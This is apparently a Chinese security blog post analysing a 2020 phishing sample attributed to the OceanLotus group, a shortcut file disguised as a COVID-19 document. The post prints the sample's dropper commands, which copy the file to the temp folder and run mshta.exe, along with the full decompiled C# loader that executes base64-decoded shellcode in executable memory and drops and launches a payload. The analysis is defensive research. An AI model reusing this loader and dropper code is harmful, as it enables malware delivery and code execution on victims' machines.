• 我们在哪一颗星上见过 ,以至如此相互思念 ;我们在哪一颗星上相互思念过,以至如此相互深爱
  • 我们在哪一颗星上分别 ,以至如此相互辉映 ;我们在哪一颗星上入睡 ,以至如此唤醒黎明
  • 认识世界 克服困难 洞悉所有 贴近生活 寻找珍爱 感受彼此

恶意代码技术理论:恶意脚本-HTA恶意代码分析

恶意脚本 云涯 4年前 (2020-03-06) 2751次浏览

一 背景

2020年3月初捕获到hta样本,该样本伪装成写字板图标,实际上是快捷方式,快捷方式命令是 “C:\Windows\System32\ftp.exe -s:新型冠状病毒感染肺炎疾病特点和诊疗.docx.lnk”,通过ftp程序启动自身。通过样本溯源确认该样本属于“海莲花”组织。

1.1 技术背景

  • http://ftp.exe -s:filename 指定包含ftp命令的文本文件。在ftp命令启动后将自动运行这些命令。在加的参数里不能有空格。
  • HTA是HTML Application的缩写(HTML应用程序),是软件开发的新概念,直接将HTML保存成HTA的格式,就是一个独立的应用软件,与VB、C++等程序语言所设计的软件界面没什么差别。运行HTA的工具是mshta.exe。APT和恶意软件使用LNK文件作为恶意Office文档的替代品已有历史记录。这是因为Windows快捷方式的第二部分简短定义:它是一个二进制文件,双击该文件即可执行命令。

以下是对该样本的具体分析。

 

1.2 样本分析

将该lnk文件使用winhex打开,看到真正功能代码。全选-右键-编辑-复制到新文件后,打开保存下来的新文件(命名为winhex提取)看到代码。

第一部分是windows命令。运行后将自身拷贝到缓存目录后重命名为“WhowSedQangYongYong”

!copy %cd% %temp%\WhowSedQangYongYong

!if %processor_architecture%==ARM64 start /b %windir%\Syswow64\mshta.exe %temp%\WhowSedQangYongYong

!if %processor_architecture%==AMD64 start /b %windir%\Syswow64\mshta.exe %temp%\WhowSedQangYongYong

!if %processor_architecture%==IA64 start /b %windir%\Syswow64\mshta.exe %temp%\WhowSedQangYongYong

!if %processor_architecture%==x86 start /b %windir%\System32\mshta.exe %temp%\WhowSedQangYongYong

quit

第二部分是hta代码。该代码使用了混淆与序列化。关键功能代码均被序列化。

imagesimages

该hta代码调用了系统mshta.exe托管执行恶意功能,所以可通过调试mshta.exe在内存中找到解码后的恶意代码。而匹配的特征就是通过原始代码解出的部分base64编码的代码“System.Reflection.Assembly Load(Byte[]”。

images

将hta代码分离出另存为hta,在OD上添加参数进行分析。

images

根据.net机制,所以就在virtualloc函数上进行下断点,或者根据行为可以发现,该hta代码会打开一个docx文档,所以必会写入文件,可以在createfile函数上进行断点,此次就在createfile上进行断点。

images

images

基本可以判定解码差不多了,去内存中寻找“System.Reflection.Assembly Load(Byte[]”。点开“M”,右键查找,以及查找下一个,输入ascii字符串。

imagesimages

在内存中发现该代码,结合原始的base64代码解码对照,找到该代码初始位置,并且发现该代码实际上是加载了了.NET程序,所以直接将MZ开头到结尾的十六进制代码进行保存即可。

images

images

右键备份到文件,由于是.NET,所以使用dnspy进行反编译解密出A.dll

images

using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;

// Token: 0x02000002 RID: 2
[ComVisible(true)]
public class A
{
// Token: 0x06000001 RID: 1
[DllImport("kernel32.dll", EntryPoint = "VirtualAlloc", ExactSpelling = true, SetLastError = true)]
internal static extern IntPtr ABCDEFGHIJKLMNOPQRSTUVWXY(IntPtr a, int b, int c, int d);

// Token: 0x06000003 RID: 3 RVA: 0x00002058 File Offset: 0x00000258
[ComVisible(true)]
public void Y(string a, string b)
{
if (a != null && b != null && a != "" && b != "")
{
this.B(a, b);
}
}

// Token: 0x06000004 RID: 4 RVA: 0x00002082 File Offset: 0x00000282
[ComVisible(true)]
public void X(string c)
{
if (c != null && c != "")
{
this.C(c);
}
}

// Token: 0x06000005 RID: 5 RVA: 0x0000209C File Offset: 0x0000029C
[ComVisible(true)]
public void Z(string g, string h, string j)
{
if (g != null && h != null && g != "" && h != "")
{
this.B(g, h);
}
if (j != null && j != "")
{
this.C(j);
}
}

// Token: 0x06000006 RID: 6 RVA: 0x000020E8 File Offset: 0x000002E8
private void C(string c)
{
byte[] array = Convert.FromBase64String(c);
if (array == null || array.Length == 0)
{
return;
}
IntPtr intPtr = A.ABCDEFGHIJKLMNOPQRSTUVWXY(IntPtr.Zero, array.Length, 4096, 64);
if (intPtr != IntPtr.Zero)
{
using (MemoryStream memoryStream = new MemoryStream())
{
memoryStream.Write(array, 0, array.Length);
memoryStream.WriteByte(195);
array = memoryStream.ToArray();
Marshal.Copy(array, 0, intPtr, array.Length);
try
{
(Marshal.GetDelegateForFunctionPointer(intPtr, typeof(A.ThreadStartRoutine)) as A.ThreadStartRoutine)();
}
catch (Exception)
{
Environment.Exit(0);
}
memoryStream.Close();
}
}
}

// Token: 0x06000007 RID: 7 RVA: 0x000021A8 File Offset: 0x000003A8
private void B(string a, string b)
{
string text = Path.GetTempPath() + b;
if (!File.Exists(text))
{
a = a.Replace('.', 'T').Replace('^', 'V');
byte[] array = Convert.FromBase64String(a);
if (array == null || array.Length == 0)
{
return;
}
File.WriteAllBytes(text, array);
}
Process.Start(new ProcessStartInfo
{
FileName = text,
UseShellExecute = true
});
}

// Token: 0x02000003 RID: 3
// (Invoke) Token: 0x06000009 RID: 9
[UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Auto, SetLastError = true)]
internal delegate int ThreadStartRoutine();
}

可以看到调用机制,但是在原始代码中,还有一部分没有解析,是shellcode,通过查看上面解密后的代码A.dll与原始代码发现,A.dll执行解密G的功能,那么就建立C#代码,将shellcode进行解密保存到文件。

images

提取的shellcode如下:

images

但是由于.NET 机制,无法在OD中调试shellcode,那么就使用代码加载shellcode然后执行。

https://blog.csdn.net/weixin_44001905/article/details/104564575,这个网址的代码可用,就利用OD加载该代码然后跳转到shellcode进行执行,就可以分析出shellcode了。


云涯历险记 , 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明原文链接:恶意代码技术理论:恶意脚本-HTA恶意代码分析
喜欢 (2)